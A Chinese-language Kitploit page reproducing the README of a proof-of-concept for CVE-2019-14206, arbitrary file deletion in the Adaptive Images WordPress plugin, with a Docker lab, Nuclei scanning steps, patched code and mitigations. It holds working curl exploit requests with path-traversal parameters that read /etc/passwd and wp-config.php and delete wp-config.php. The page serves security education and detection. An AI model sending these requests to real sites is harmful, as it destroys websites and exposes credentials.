Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2019-14206-poc — CVE-2019-14206 的概念验证漏洞利用,演示了 Adaptive Images WordPress 插件中的任意文件删除。包含 Docker 实验环境、Nuclei 模板以及手动测试脚本,用于安全教育和验证。 | Kitploit
工具/GitHubGitHub/developerfred/cve-2019-14206-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubdeveloperfred/cve-2019-14206-poc

cve-2019-14206-poc

CVE-2019-14206 的概念验证漏洞利用,演示了 Adaptive Images WordPress 插件中的任意文件删除。包含 Docker 实验环境、Nuclei 模板以及手动测试脚本,用于安全教育和验证。

查看仓库
7个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-14206 - WordPress自适应图片任意文件删除

📋 目录

  1. 关于漏洞
  2. 前提条件
  3. 安装
  4. 测试方法
    • 快速测试
    • 完整Docker测试
    • 使用Nuclei测试
    • 手动测试
  5. 结果解读
  6. 清理
  7. 故障排除
  8. 缓解措施
  9. 法律声明

🎯 关于漏洞

CVE-ID: CVE-2019-14206
严重性: 高危 (CVSS 6.5)
受影响插件: WordPress自适应图片
受影响版本: < 0.6.67

该漏洞允许什么?

此漏洞允许未经身份验证的远程攻击者通过利用Adaptive Images插件 删除WordPress服务器上的任意文件。

实际影响:

  • ❌ 删除 wp-config.php 导致网站完全崩溃
  • ❌ 通过LFI暴露数据库凭证
  • ⚠️ 攻击链 导致RCE(远程代码执行)
  • 🔴 WordPress网站完全沦陷

根本原因:

root@kitploit:~
// 插件直接使用用户输入,未进行清理
$settings = $_REQUEST['adaptive-images-settings'];

// 使用攻击者可控的参数构建文件路径
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// 删除任意文件
unlink($cache_file);

💻 前提条件

最低要求:

  • 操作系统: macOS、Linux或Windows
  • Nuclei: 版本3.0或更高(安装)
  • Bash: 版本4.0或更高
  • curl: 用于手动测试
  • PHP: 版本7.0+(可选,用于内置服务器测试)

检查前提条件:

root@kitploit:~
# 检查Nuclei
nuclei --version

# 检查Bash
bash --version

# 检查curl
curl --version

# 检查PHP(可选)
php --version 2>/dev/null || echo "PHP不可用(可选)"

🚀 安装

步骤1:克隆或下载文件

root@kitploit:~
# 如果在nuclei-templates目录下
cd /Volumes/Codingsh/experimentos/nuclei-templates

# 或者下载所需文件
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

步骤2:检查文件结构

root@kitploit:~
# 检查文件是否存在
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

步骤3:赋予脚本可执行权限

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

🧪 测试方法

1. 快速测试 ⏱️ 2分钟

运行模拟完整利用过程的演示:

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

执行过程:

  • 创建完整测试环境
  • 模拟漏洞
  • 演示文件删除
  • 验证Nuclei模板

预期输出:

root@kitploit:~
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

2. 完整Docker测试 🐳 10分钟

步骤1:启动Docker环境

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# 如果Docker正在运行
docker-compose up -d

# 如果Docker未运行,使用模拟器
./docker-test-full.sh

步骤2:访问WordPress

root@kitploit:~
# 环境将在以下地址可用
# http://localhost:8888

步骤3:检查漏洞插件

root@kitploit:~
# 检查漏洞脚本是否存在
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

步骤4:执行测试

root@kitploit:~
# LFI测试
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# 文件删除测试
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# 检查wp-config.php是否被删除
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

3. 使用Nuclei测试 🎯 5分钟

步骤1:准备目标列表

root@kitploit:~
# 创建目标文件
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

步骤2:执行扫描

root@kitploit:~
# 基础扫描
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# 详细扫描
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# 调试扫描(挖漏洞必备)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# 保存结果
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

步骤3:解读结果

root@kitploit:~
# 查看结果
cat results.txt

# 阳性结果将包含:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

4. 手动测试 🔧 10分钟

步骤1:启动PHP服务器

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

步骤2:测试LFI(文件读取)

root@kitploit:~
# 尝试读取/etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# 尝试读取wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

预期LFI结果:

root@kitploit:~
=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

步骤3:测试文件删除

root@kitploit:~
# 检查wp-config.php之前是否存在
ls -la wp-config.php

# 执行利用
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# 检查wp-config.php之后是否被删除
ls -la wp-config.php

预期文件删除结果:

root@kitploit:~
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

📊 结果解读

阳性结果(存在漏洞):

root@kitploit:~
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

匹配器已匹配:
- 插件已检测
- LFI漏洞已确认
- 任意文件删除可能

阴性结果(未发现漏洞):

root@kitploit:~
[N/A] 未发现结果

误报可能原因:

  • ✅ 插件未安装
  • ✅ 插件已更新(版本 >= 0.6.67)
  • ✅ WAF拦截请求
  • ✅ 服务器在预期路径无响应

🧹 清理

清理测试环境:

root@kitploit:~
# 移除Docker环境
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null

# 移除测试文件
rm -rf docker-test/
rm -f targets.txt results.txt

# 恢复wp-config.php(如被删除)
cat > wp-config.php << 'EOF'
<?php
// 已恢复文件
define('DB_NAME', 'wordpress');
EOF

清理Nuclei:

root@kitploit:~
# 删除扫描结果
rm -f results.txt

# 清除缓存(可选)
nuclei -rm-cache

🔧 故障排除

问题1:未找到Nuclei

root@kitploit:~
# 安装Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# 或下载二进制文件
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/

问题2:模板无法加载

root@kitploit:~
# 检查文件是否存在
ls -la http/cves/2019/CVE-2019-14206.yaml

# 检查YAML语法
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"

# 使用绝对路径
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target

问题3:PHP服务器无法启动

root@kitploit:~
# 检查端口
lsof -i :8888

# 使用不同端口
php -S localhost:9999

# 检查PHP是否安装
which php
php --version

问题4:Docker无法运行

root@kitploit:~
# 检查Docker状态
docker ps

# 启动Docker
# macOS:打开Docker Desktop
# Linux:sudo systemctl start docker

# 使用模拟模式(无需Docker)
./docker-test-full.sh

🛡️ 缓解措施

立即防护:

  1. 更新插件:

    root@kitploit:~
    WordPress后台 > 插件 > 更新Adaptive Images
    
  2. 安全版本: >= 0.6.67

  3. 删除漏洞插件:

    root@kitploit:~
    rm -rf wp-content/plugins/adaptive-images/
    

代码层面防护(针对开发者):

root@kitploit:~
// ✅ 安全代码(修复示例)
function adaptive_images_script_get_settings() {
    // 清理输入
    $allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
    $settings = [];
    
    foreach ($allowed_keys as $key) {
        if (isset($_REQUEST['adaptive-images-settings'][$key])) {
            $settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
        }
    }
    
    return $settings;
}

function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
    // 验证路径
    $allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
    $cache_dir = basename(dirname($cache_file));
    
    if (!in_array($cache_dir, $allowed_cache_dirs)) {
        return false; // 拒绝无效路径
    }
    
    // 使用已验证的绝对路径
    $cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
    
    if (file_exists($cache_file)) {
        unlink($cache_file);
    }
}

⚠️ 法律声明

使用条款:

本材料仅供教育目的和安全测试使用。

允许的行为:

  • ✅ 测试您拥有的系统
  • ✅ 在实验室环境中使用
  • ✅ 学习Web漏洞相关知识
  • ✅ 为开源安全做贡献
  • ✅ 测试您自己的应用程序

禁止的行为:

  • ❌ 未经授权测试系统
  • ❌ 造成损害或中断
  • ❌ 用于恶意目的
  • ❌ 出售或分发利用代码
  • ❌ 发布易受攻击系统的信息

责任声明:

作者和贡献者不对以下情况承担任何责任:

  • 本材料的滥用
  • 对系统造成的损害
  • 数据丢失
  • 服务中断
  • 法律问题

负责任的披露:

如果您在实际系统中发现此漏洞:

  1. 不要利用或造成损害
  2. 记录漏洞细节
  3. 通知系统负责人
  4. 遵循负责任的披露准则

📚 附加资源

参考链接:

  • NVD - CVE-2019-14206
  • 原始研究报告
  • 官方插件
  • WPScan条目

相关工具:

  • Nuclei
  • nuclei-templates
  • WPScan
  • Wordfence

🎓 学习要点

本项目演示了:

  1. 输入验证: 清理所有用户输入的重要性
  2. 路径遍历: 文件路径如何被操纵
  3. 文件操作: unlink()等函数使用用户输入的风险
  4. 插件安全: WordPress插件常见漏洞
  5. CVE分析: 如何分析和复现漏洞
  6. 检测开发: 如何创建有效的检测模板

📝 更新日志

版本 1.0.0 (2026-01-04)

  • ✅ 创建Nuclei模板
  • ✅ 完整的PoC环境
  • ✅ 完整文档
  • ✅ 已验证的测试脚本
  • ✅ 功能演示

🤝 贡献

欢迎贡献!方法如下:

  1. Fork本仓库
  2. 创建分支 (git checkout -b feature/improvement)
  3. 提交更改 (git commit -am 'Add improvement')
  4. 推送到分支 (git push origin feature/improvement)
  5. 创建Pull Request

📧 支持

如有疑问或问题:

  1. 查看故障排除章节
  2. 查看仓库issues
  3. 提供以下信息:
    • 操作系统
    • Nuclei版本
    • PHP版本(如适用)
    • 完整错误信息
    • 复现步骤

🎉 感谢使用本测试材料!

记住:能力越大,责任越大。请用这份知识让互联网更安全,而不是更脆弱。


创建日期: 2026年1月4日
版本: 1.0.0
状态: ✅ 可用于生产环境

下载工具